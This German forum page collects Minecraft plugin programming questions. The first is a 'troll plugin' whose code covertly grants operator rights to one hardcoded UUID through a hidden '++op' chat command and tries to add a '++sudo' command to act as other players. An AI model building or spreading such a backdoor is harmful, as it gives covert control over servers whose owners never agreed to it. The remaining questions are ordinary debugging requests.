Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Wieso funktioniert das Plugin nicht?

Hallo. Ich programmiere gerade ein Plugin. Eigendlich funktioniert es, doch es gibt ein problem. Es solten 2 Spieler an verschiedenen orten Teleportirt werden, doch beide Spieler werden an ein Ort Teleportiert. Hier der Code:

public class TeleportEvent implements Listener {
    public static Bootrennen plugin;

    public TeleportEvent(Bootrennen plugin) {

        TeleportEvent.plugin = plugin;
    }

    public static void start() {
        Location location = plugin.getConfig().getLocation("location.start1");
        Location loc = plugin.getConfig().getLocation("location.start2");
        int i = 1;
        for(Player current : Bukkit.getOnlinePlayers()) {
            Location playerLocation = plugin.getConfig().getLocation("location.start" + i);
            current.teleport(playerLocation);
            if (location != null) {
                if(location.getBlock() != current.getLocation().getBlock()) {
                    i = 1;
                   current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start1")));
                    Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                    bt.addPassenger(current);
                } else {
                    if (loc != null) {
                       i = 2;
                        current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start2")));
                        Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                        bt.addPassenger(current);
                      
                       i++;
                    }
                }
            }

        }
    }

    @EventHandler
    public void onExit(VehicleExitEvent e) {
        Player player = (Player) e.getExited();
        if (e.getExited().hasPermission("Operator")) {
            e.setCancelled(false);
        } else {
            player.sendMessage(ChatColor.RED + "Du darfst das nicht!");
            e.setCancelled(true);

        }
    }
}
Computer, Java, Minecraft, Spigot, Minecraft Plugin
Minecraft:Wer hat was abgebaut und wo?

Hey Leute,
ich bräuchte eure Hilfe, ich möchte gern ein Plugin haben mit dem ich in einer Datenbank speichern kann wer den block auf den ich schaue abgebaut hat.

Ich habe auf meinem Server aktuell das Problem das jemand ständig Bauwerke grieft. Ich kann aber nicht rausfinden wer, weil es immer passiert wenn keiner Online ist.

Daher möchte ich ein Plugin einführen, mit dem ich eben genau das einsehen kann.
Sprich z.B. in einer mauer wurde mitten drin 1 Block entfernt , ich schaue auf den Leeren Block und kann mir z.B. mit einem Befehl anzeigen lassen wer diesen abgebaut hat.

Ich kenne mich bisher aber noch nicht so gut mit Minecraft Plugins aus habe aber schon gefunden das sowas wohl mit einer OnBreak Methode gehen soll.

Hier mal die Methode die ich bisher gebaut habe:

@EventHandler
public void onBreak(BlockBreakEvent be){
    Player p= be.getPlayer();
    Block b = be.getBlock();
    Location pl= be.getPlayer().getLocation();

    PlayerBlockBreakData.PlayerBlockBreakSave(p,b,pl);
}

Was ich hier versuche ist erst einmal einfach nur ALLE Blöcke die abgebaut werden Abzuspeichern mitsamt der Location.

Das würde allerdings eine ganz schöne Sucherei bedeuten, wenn ich dann rausfinden will wer genau denn nun immer die Bauwerke kaputt macht. Denn ich müsste quasi immer nach der Location des Blocks suchen.

Wäre doch daher sehr viel angenehmer wenn mir per Chatbefehl ausgegeben würde wer den block den ich ansehe abgebaut hat.

Ich hoffe ihr versteht was ich meine, falls nicht gern einfach Nachfragen!

Danke euch :)

Minecraft, Minecraft Server, Minecraft Plugin
Minecraft Plugin Listener funktioniert nicht?

Hallo,

ich habe aus Langeweile mal ein kleines Plugin programmiert. Dort drin enthalten ist ein Listener, der auf eine Interaktion mit einem Item hört. (ItemInteractEvent) und danach je nach Item eine unterschiedliche Funktion ausführt. Ich denke ich habe anscheinend den Listener falsch registriert, da bei einem anderen (EntityDeathEvent)

auch nichts passiert, auch die Nachricht wird nicht ausgegeben.

Ich hoffe jemand kann mit helfen.

LG,

Finnian

Der Code

MainClass

import org.bukkit.Bukkit;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;

import de.finnian.funplugin.commands.GoodStuffCmd;
import de.finnian.funplugin.listeners.EntityDeath;
import de.finnian.funplugin.listeners.InteractListener;

public class Main extends JavaPlugin{
    
    public void onEnable() {
        System.out.println("Das FunPlugin wurde angeschaltet.");
        registerListeners();
        registerCommands();
        PluginManager pm = Bukkit.getPluginManager();
           }

    public void registerListeners() {
      pm.registerEvents(new InteractListener(), this);
        pm.registerEvents(new EntityDeath(), this);
   
        
        }
    
    public void registerCommands() {
        getCommand("opstuff").setExecutor(new GoodStuffCmd());
        
    }
}

InteractListener

import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.entity.WitherSkull;
import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.player.PlayerInteractEvent;

import net.md_5.bungee.api.ChatColor;


public class InteractListener implements Listener{
    
    
    
    public void onInteract(PlayerInteractEvent e) {
        Player p = e.getPlayer();
        
        
        if (e.getAction() == Action.RIGHT_CLICK_BLOCK) {
            
        }
        
        
        else if (e.getAction() == Action.RIGHT_CLICK_AIR) {
            
            if (e.getItem().equals(Material.LIGHT_BLUE_CARPET)) {
                Bukkit.getWorld("world").getBlockAt(p.getLocation()).setType(Material.WATER);
                p.sendMessage(ChatColor.BLUE + "Das Wasser wurde plaziert(vllt. hilft es dir ja).");
            }
            
        }
        
        
        else if (e.getAction() == Action.RIGHT_CLICK_BLOCK || e.getAction() == Action.RIGHT_CLICK_AIR) {
            
            if (e.getItem().equals(Material.WITHER_SKELETON_SKULL)) {
                p.launchProjectile(WitherSkull.class);
                p.sendMessage(ChatColor.RED + "Du hast einen Witherkopf abgefeuert.");
                
            }
            
            else if (e.getItem().equals(Material.FIREWORK_ROCKET)) {
                Bukkit.getWorld("world").createExplosion(p.getLocation(), 20);
                p.sendMessage(ChatColor.DARK_RED + "Achtung! Du hast eine Explosion ausgelöst!");
                
            }
            
        
            
            
            
        }
        
    }

}


Computer, Schule, Minecraft, Plug-in, Minecraft Plugin, Spiele und Gaming

Meistgelesene Fragen zum Thema Minecraft Plugin